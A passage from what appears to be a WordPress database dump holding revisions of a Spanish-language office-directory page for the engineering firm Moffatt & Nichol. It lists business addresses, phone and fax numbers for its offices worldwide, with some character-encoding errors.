oficinas</h1>\n<p class=\"our-office-para\">Con 27 oficinas ubicadas alrededor del mundo, Moffatt &amp; Nichol tiene prestigio internacional como lÃder en la complicada Ã¡rea donde la tierra entra en contacto con el agua. Si desea informaciÃ³n de contacto, seleccione una ubicaciÃ³n.</p>\n\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/abu-dhabi.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"1\">ABU DABI</h2>\n<strong>direcciÃ³n</strong>\n\nRegus Al Bateen Business Centre,\n\nSuite 132, Bainunah Street 34,\n\nP.O. Box 113100,\n\nAbu Dabi, Emiratos Ãrabes Unidos.\n\n<strong>telÃ©fono</strong>\n\n+971 (0)2 406 9696\n\n<strong>fax</strong>\n\n+971 (0)2 406 9810\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baltimore.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"2\">Baltimore</h2>\n<strong>direcciÃ³n</strong>\n\n2700 Lighthouse Point East, Suite 501\n\nBaltimore, MD 21224\n\n<strong>telÃ©fono</strong>\n\n410-563-7300\n\n<strong>fax</strong>\n\n410-563-4330\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baton-Rouge-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"3\">Baton Rouge</h2>\n<strong>direcciÃ³n</strong>\n\n301 Main Street, Suite 800\n\nBaton Rouge, LA 70825\n\n<strong>telÃ©fono</strong>\n\n225-336-2075\n\n<strong>fax</strong>\n\n225-336-2076\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/bogota.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"4\">BogotÃ¡</h2>\n<strong>direcciÃ³n</strong>\n\nAvenida Cra. 9 N.Â° 113-52, Of.1201\n\nBogotÃ¡ D.C., Colombia\n\n<strong>telÃ©fono</strong>\n\n+57-1213-1149\n\n<strong>fax</strong>\n\n+57 1629 4365\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Charleston.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"27\">Charleston</h2>\n<strong>direcciÃ³n</strong>\n\n4975 Lacross Road, Suite 151\n\nNorth Charleston, SC 29406\n\n<strong>telÃ©fono</strong>\n\n+843-576-3750\n\n<strong>fax</strong>\n\n+843-576-3755\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Hawaii-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"7\">HONOLULÃš</h2>\n<strong>direcciÃ³n</strong>\n\n733 Bishop Street, Suite 1740\n\nHonolulu, HI 96813\n\n<strong>telÃ©fono</strong>\n\n808-533-7000\n\n<strong>fax</strong>\n\n808-533-7002\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/hoston.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"8\">HOUSTON</h2>\n<strong>direcciÃ³n</strong>\n\n11011 Richmond Avenue, Suite 200\n\nHouston, TX 77042\n\n<strong>telÃ©fono</strong>\n\n713-977-7372\n\n<strong>fax</strong>\n\n713-977-7379\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/london.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"9\">LONDRES</h2>\n<strong>direcciÃ³n</strong>\n\nFifth Floor, 35 Great St. Helenâ€™s\n\nLondres EC3A 6HB\n\nReino Unido\n\n<strong>telÃ©fono</strong>\n\n+ 44 (0)20 3206 1062\n\n<strong>fax</strong>\n\n+ 44 (0)20 3206 1061\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/long-beach.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"10\">LONG BEACH</h2>\n<strong>direcciÃ³n</strong>\n\n3780 Kilroy Airport Way, Suite 600\n\nLong Beach, CA 90806\n\n<strong>telÃ©fono</strong>\n\n562-426-9551\n\n<strong>fax</strong>\n\n562-424-7489\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-york.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"11\">NUEVA YORK</h2>\n<strong>direcciÃ³n</strong>\n\n104 West 40th Street, 14th Floor\n\nNueva York, NY 10018\n\n<strong>telÃ©fono</strong>\n\n212-768-7454\n\n<strong>fax</strong>\n\n212-768-7936\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/newfolk.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"12\">NORFOLK</h2>\n<strong>direcciÃ³n</strong>\n\n800 World Trade Center\n\nNorfolk, VA 23510\n\n<strong>telÃ©fono</strong>\n\n757-628-8222\n\n<strong>fax</strong>\n\n757-628-8244\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/oakland.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"13\">OAKLAND</h2>\n<strong>direcciÃ³n</strong>\n\n1300 Clay Street, Suite 550\n\nOakland, CA 94612\n\n<strong>telÃ©fono</strong>\n\n510-645-1238\n\n<strong>fax</strong>\n\n510-645-1010\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/orlando.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"14\">ORLANDO</h2>\n<strong>direcciÃ³n</strong>\n\n1025 Greenwood Blvd., Suite 371\n\nLake Mary, FL 32806\n\n<strong>telÃ©fono</strong>\n\n407-562-2030\n\n<strong>fax</strong>\n\n407-562-2031\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/panama.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"15\">PANAMÃ</h2>\n<strong>direcciÃ³n</strong>\n\nOcean Business Plaza, Oficina 1204,\n\nAv. Aquilino de la Guardia y Calle 47\n\nPanamÃ¡, RepÃºblica de PanamÃ¡\n\n<strong>telÃ©fono</strong>\n\n+ 507-301-0901\n\n<strong>fax</strong>\n\n+ 507-301-0906\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/religh.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"16\">RALEIGH</h2>\n<strong>direcciÃ³n</strong>\n\n1616 East Millbrook Road, Suite 160\n\nRaleigh, NC 27609\n\n<strong>telÃ©fono</strong>\n\n919-781-4626\n\n<strong>fax</strong>\n\n919-781-4869\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/richmond.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"17\">RICHMOND</h2>\n<strong>direcciÃ³n</strong>\n\n1100 Boulders Parkway, Suite 350\n\nRichmond, VA 23225\n\n<strong>telÃ©fono</strong>\n\n804-320-1996\n\n<strong>fax</strong>\n\n804-560-0959\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/rochester.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"18\">ROCHESTER</h2>\n<strong>direcciÃ³n</strong>\n\n250 Mill Street, Suite 307\n\nRochester, NY 14614\n\n<strong>telÃ©fono</strong>\n\n585-641-7128\n\n<strong>fax</strong>\n\n585-777-4108\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Brazil.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"5\">RÃO DE JANEIRO</h2>\n<strong>direcciÃ³n</strong>\n\nRua Farme de Amoedo, 56 / 8Â° andar\n\nIpanema â€“ RÃo de Janeiro / RJ\n\nCEP 22420-020\n\n<strong>telÃ©fono</strong>\n\n+55 21 2103-4630\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sacramento.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"19\">SACRAMENTO</h2>\n<strong>direcciÃ³n</strong>\n\n5955 Granite Lake Drive, Suite 140\n\nGranite Bay, CA 95746\n\n<strong>telÃ©fono</strong>\n\n510-645-1238\n\n<strong>fax</strong>\n\n510-645-1010\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/san-diago.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"20\">SAN DIEGO</h2>\n<strong>direcciÃ³n</strong>\n\nM&amp;N BLAYLOCK\n\n1660 Hotel Circle North, Suite 500\n\nSan Diego, CA 92108\n\n<strong>telÃ©fono</strong>\n\n619-220-6050\n\n<strong>fax</strong>\n\n619-220-6055\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sevanha.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"21\">SAVANNAH</h2>\n<strong>direcciÃ³n</strong>\n\n2 East Bryan Street, Suite 50\n\nSavannah, GA 31401\n\n<strong>telÃ©fono</strong>\n\n912-231-0044\n\n<strong>fax</strong>\n\n912-231-0046\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/seattle.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"22\">SEATTLE</h2>\n<strong>direcciÃ³n</strong>\n\n600 University Street, Suite 610\n\nSeattle, WA 98101\n\n<strong>telÃ©fono</strong>\n\n206-622-0222\n\n<strong>fax</strong>\n\n206-622-4764\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/tampa.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"23\">TAMPA</h2>\n<strong>direcciÃ³n</strong>\n\n1509 W. Swann Avenue, Suite 225\n\nTampa, FL 33606\n\n<strong>telÃ©fono</strong>\n\n813-258-8818\n\n<strong>fax</strong>\n\n813-258-8525\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Guam.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"6\">Tamuning</h2>\n<strong>direcciÃ³n</strong>\n\nITC Building Suite 801\n\n590 S. Marine Corps Drive\n\nTamuning, Guam 96913\n\n<strong>telÃ©fono</strong>\n\n671-648-1000\n\n<strong>fax</strong>\n\n671-648-1001\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vancouver.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"24\">VANCOUVER</h2>\n<strong>direcciÃ³n</strong>\n\n777 W. Broadway, Suite 301\n\nVancouver BC, CanadÃ¡ V5Z 4J7\n\n<strong>telÃ©fono</strong>\n\n604-707-9004\n\n<strong>fax</strong>\n\n604-707-9005\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vicksburg.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"25\">VICKSBURG</h2>\n<strong>direcciÃ³n</strong>\n\n1905A Mission 66, Suite 6\n\nVicksburg, MS 39180\n\n<strong>telÃ©fono</strong>\n\n601-629-6415\n\n<strong>fax</strong>\n\n601-629-6416\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/walnut-creek.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"26\">WALNUT CREEK</h2>\n<strong>direcciÃ³n</strong>\n\n2185 N. California Blvd, Suite 500\n\nWalnut Creek, CA 94596-3500\n\n<strong>telÃ©fono</strong>\n\n925-944-5411\n\n<strong>fax</strong>\n\n925-944-4732\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n</div>\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Nuestras oficinas','','inherit','open','open','','14-revision','','','2011-10-17 12:35:01','2011-10-17 12:35:01','',14,'http://moffattnichol.com/spanish/14-revision/',0,'revision','',0),(2415,1,'2012-06-13 08:59:47','2012-06-13 08:59:47','<div class=\"content_faq\">\r\n<div class=\"our_officesimg\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/our_offices.jpg\" alt=\"Nuestras oficinas\" width=\"389\" height=\"217\" /></div>\r\n<div class=\"our_officestxt\">\r\n<h1>nuestras oficinas</h1>\r\n<p class=\"our-office-para\">Con 27 oficinas ubicadas alrededor del mundo, Moffatt &amp; Nichol tiene prestigio internacional como lÃder en la complicada Ã¡rea donde la tierra entra en contacto con el agua. Si desea informaciÃ³n de contacto, seleccione una ubicaciÃ³n.</p>\r\n\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/abu-dhabi.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"1\">ABU DABI</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\nRegus Al Bateen Business Centre,\r\n\r\nSuite 132, Bainunah Street 34,\r\n\r\nP.O. Box 113100,\r\n\r\nAbu Dabi, Emiratos Ãrabes Unidos.\r\n\r\n<strong>teléfono</strong>\r\n\r\n+971 (0)2 406 9696\r\n\r\n<strong>fax</strong>\r\n\r\n+971 (0)2 406 9810\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baltimore.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"2\">Baltimore</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n2700 Lighthouse Point East, Suite 501\r\n\r\nBaltimore, MD 21224\r\n\r\n<strong>teléfono</strong>\r\n\r\n410-563-7300\r\n\r\n<strong>fax</strong>\r\n\r\n410-563-4330\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baton-Rouge-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"3\">Baton Rouge</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n301 Main Street, Suite 800\r\n\r\nBaton Rouge, LA 70825\r\n\r\n<strong>teléfono</strong>\r\n\r\n225-336-2075\r\n\r\n<strong>fax</strong>\r\n\r\n225-336-2076\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/bogota.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"4\">BogotÃ¡</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\nAvenida Cra. 9 N.Â° 113-52, Of.1201\r\n\r\nBogotÃ¡ D.C., Colombia\r\n\r\n<strong>teléfono</strong>\r\n\r\n+57-1213-1149\r\n\r\n<strong>fax</strong>\r\n\r\n+57 1629 4365\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Charleston.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"27\">Charleston</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n4975 Lacross Road, Suite 151\r\n\r\nNorth Charleston, SC 29406\r\n\r\n<strong>teléfono</strong>\r\n\r\n+843-576-3750\r\n\r\n<strong>fax</strong>\r\n\r\n+843-576-3755\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Hawaii-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"7\">HONOLULÃš</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n733 Bishop Street, Suite 1740\r\n\r\nHonolulu, HI 96813\r\n\r\n<strong>teléfono</strong>\r\n\r\n808-533-7000\r\n\r\n<strong>fax</strong>\r\n\r\n808-533-7002\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/hoston.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"8\">HOUSTON</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n11011 Richmond Avenue, Suite 200\r\n\r\nHouston, TX 77042\r\n\r\n<strong>teléfono</strong>\r\n\r\n713-977-7372\r\n\r\n<strong>fax</strong>\r\n\r\n713-977-7379\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/london.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"9\">LONDRES</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\nFifth Floor, 35 Great St. Helenâ€™s\r\n\r\nLondres EC3A 6HB\r\n\r\nReino Unido\r\n\r\n<strong>teléfono</strong>\r\n\r\n+ 44 (0)20 3206 1062\r\n\r\n<strong>fax</strong>\r\n\r\n+ 44 (0)20 3206 1061\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/long-beach.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"10\">LONG BEACH</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n3780 Kilroy Airport Way, Suite 600\r\n\r\nLong Beach, CA 90806\r\n\r\n<strong>teléfono</strong>\r\n\r\n562-426-9551\r\n\r\n<strong>fax</strong>\r\n\r\n562-424-7489\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-york.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"11\">NUEVA YORK</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n104 West 40th Street, 14th Floor\r\n\r\nNueva York, NY 10018\r\n\r\n<strong>teléfono</strong>\r\n\r\n212-768-7454\r\n\r\n<strong>fax</strong>\r\n\r\n212-768-7936\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/newfolk.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"12\">NORFOLK</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n800 World Trade Center\r\n\r\nNorfolk, VA 23510\r\n\r\n<strong>teléfono</strong>\r\n\r\n757-628-8222\r\n\r\n<strong>fax</strong>\r\n\r\n757-628-8244\r\n<div class=\"followus\"><a 